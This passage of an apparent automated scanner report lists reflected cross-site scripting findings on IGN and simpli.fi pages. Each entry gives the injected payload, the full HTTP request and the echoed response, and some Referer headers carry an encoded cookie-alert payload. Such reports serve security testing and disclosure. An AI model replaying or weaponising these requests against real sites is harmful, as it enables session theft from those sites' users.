Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-499957743-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:55 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043935791v-1n-12mc+1297043935791mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116567

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN TV: Episode Gu
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/index/reviews.html?c60f6"-alert(1)-"65fba5d1c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.481. http://tv.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cdbb"><script>alert(1)</script>e7de9fb425 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?8cdbb"><script>alert(1)</script>e7de9fb425=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:53 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-329477557-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:53 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043933053v-1n-12mc+1297043933053mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116632

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN TV: Episode Gu
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/index/reviews.html?8cdbb"><script>alert(1)</script>e7de9fb425=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.482. http://tv.ign.com/index/series.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/series.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3809"-alert(1)-"3de6c0b5a5d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/series.html?c3809"-alert(1)-"3de6c0b5a5d=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:32 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-578926401-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043972066v-1n-12mc+1297043972066mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133398

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN TV: Episode Gu
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/index/series.html?c3809"-alert(1)-"3de6c0b5a5d=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.483. http://tv.ign.com/index/series.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/series.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35f68"><script>alert(1)</script>27c9234b17d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/series.html?35f68"><script>alert(1)</script>27c9234b17d=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:29 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-1029471643-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043969207v-1n-12mc+1297043969207mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133460

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN TV: Episode Gu
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/index/series.html?35f68"><script>alert(1)</script>27c9234b17d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.484. http://tv.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61b83"><script>alert(1)</script>8829efaf0b4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/videos.html?61b83"><script>alert(1)</script>8829efaf0b4=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:21 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-1666683645-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043961574v-1n-12mc+1297043961574mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 114660

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN TV: Episode Gu
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/index/videos.html?61b83"><script>alert(1)</script>8829efaf0b4=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.485. http://tv.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 62c19"-alert(1)-"0eeeea4c3b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/videos.html?62c19"-alert(1)-"0eeeea4c3b=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:24 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-230552476-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043964213v-1n-12mc+1297043964213mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 113717

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN TV: Episode Gu
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/index/videos.html?62c19"-alert(1)-"0eeeea4c3b=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.486. http://tv.ign.com/listings.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/listings.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77a22"><script>alert(1)</script>246c42b55a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /listings.html?77a22"><script>alert(1)</script>246c42b55a7=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:29 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-1275823829-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043969338v-1n-12mc+1297043969338mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 71553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/listings.html?77a22"><script>alert(1)</script>246c42b55a7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.487. http://tv.ign.com/listings.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/listings.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3fa0f"-alert(1)-"54a9705666b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /listings.html?3fa0f"-alert(1)-"54a9705666b=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:31 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-1638151436-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043971646v-1n-12mc+1297043971646mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 71503

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/listings.html?3fa0f"-alert(1)-"54a9705666b=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.488. http://uk.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://uk.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b733"><script>alert(1)</script>3d7d00774e7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?1b733"><script>alert(1)</script>3d7d00774e7=1 HTTP/1.1
Host: uk.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:59:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:59:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-806045180-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043984914v-1n-12mc+1297043984914mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 185101

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Video Games, Cheat
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://uk.ign.com/?1b733"><script>alert(1)</script>3d7d00774e7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.489. http://uk.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://uk.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d8d22"-alert(1)-"b4fa3d72d15 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?d8d22"-alert(1)-"b4fa3d72d15=1 HTTP/1.1
Host: uk.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:59:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:59:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-153235797-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:53 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043993373v-1n-12mc+1297043993373mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 185047

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Video Games, Cheat
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://uk.ign.com/?d8d22"-alert(1)-"b4fa3d72d15=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.490. http://um.simpli.fi/am_js.js [admeld_adprovider_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://um.simpli.fi
Path:	/am_js.js

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 533df'-alert(1)-'009986a883f was submitted in the admeld_adprovider_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /am_js.js?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=338533df'-alert(1)-'009986a883f&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: um.simpli.fi
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045700262&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=v1Hb2BdCSAi0StH1rQJAf7%3D%3D

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:27:48 GMT
Content-Type: application/x-javascript
Connection: close
Content-Length: 185

document.write('<img width="0" height="0" src="http://tag.admeld.com/match?admeld_adprovider_id=338533df'-alert(1)-'009986a883f&external_user_id=D8DB51BF08484217F5D14AB47F4002AD"/>');

3.491. http://um.simpli.fi/am_js.js [admeld_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://um.simpli.fi
Path:	/am_js.js

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload efd37'-alert(1)-'9e085f9ec80 was submitted in the admeld_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /am_js.js?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=338&admeld_call_type=js&admeld_callback=http://tag.admeld.com/matchefd37'-alert(1)-'9e085f9ec80 HTTP/1.1
Host: um.simpli.fi
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045700262&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=v1Hb2BdCSAi0StH1rQJAf7%3D%3D

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:27:49 GMT
Content-Type: application/x-javascript
Connection: close
Content-Length: 185

document.write('<img width="0" height="0" src="http://tag.admeld.com/matchefd37'-alert(1)-'9e085f9ec80?admeld_adprovider_id=338&external_user_id=D8DB51BF08484217F5D14AB47F4002AD"/>');

3.492. http://um.simpli.fi/am_match [admeld_adprovider_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://um.simpli.fi
Path:	/am_match

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d0dd3'-alert(1)-'0ed5ad42dab was submitted in the admeld_adprovider_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /am_match?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=338d0dd3'-alert(1)-'0ed5ad42dab&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: um.simpli.fi
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045700262&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=v1Hb2BdCSAi0StH1rQJAf7%3D%3D

Response (redirected)

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:27:55 GMT
Content-Type: application/x-javascript
Connection: close
Content-Length: 185

document.write('<img width="0" height="0" src="http://tag.admeld.com/match?admeld_adprovider_id=338d0dd3'-alert(1)-'0ed5ad42dab&external_user_id=D8DB51BF08484217F5D14AB47F4002AD"/>');

3.493. http://um.simpli.fi/am_match [admeld_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://um.simpli.fi
Path:	/am_match

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4845f'-alert(1)-'1c50b83fc13 was submitted in the admeld_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /am_match?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=338&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match4845f'-alert(1)-'1c50b83fc13 HTTP/1.1
Host: um.simpli.fi
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045700262&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=v1Hb2BdCSAi0StH1rQJAf7%3D%3D

Response (redirected)

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:27:57 GMT
Content-Type: application/x-javascript
Connection: close
Content-Length: 185

document.write('<img width="0" height="0" src="http://tag.admeld.com/match4845f'-alert(1)-'1c50b83fc13?admeld_adprovider_id=338&external_user_id=D8DB51BF08484217F5D14AB47F4002AD"/>');

3.494. http://um.simpli.fi/am_redirect_js [admeld_adprovider_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://um.simpli.fi
Path:	/am_redirect_js

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10b04'-alert(1)-'33174dc278c was submitted in the admeld_adprovider_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /am_redirect_js?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=33810b04'-alert(1)-'33174dc278c&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: um.simpli.fi
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045700262&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=v1Hb2BdCSAi0StH1rQJAf7%3D%3D

Response (redirected)

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:27:51 GMT
Content-Type: application/x-javascript
Connection: close
Content-Length: 185

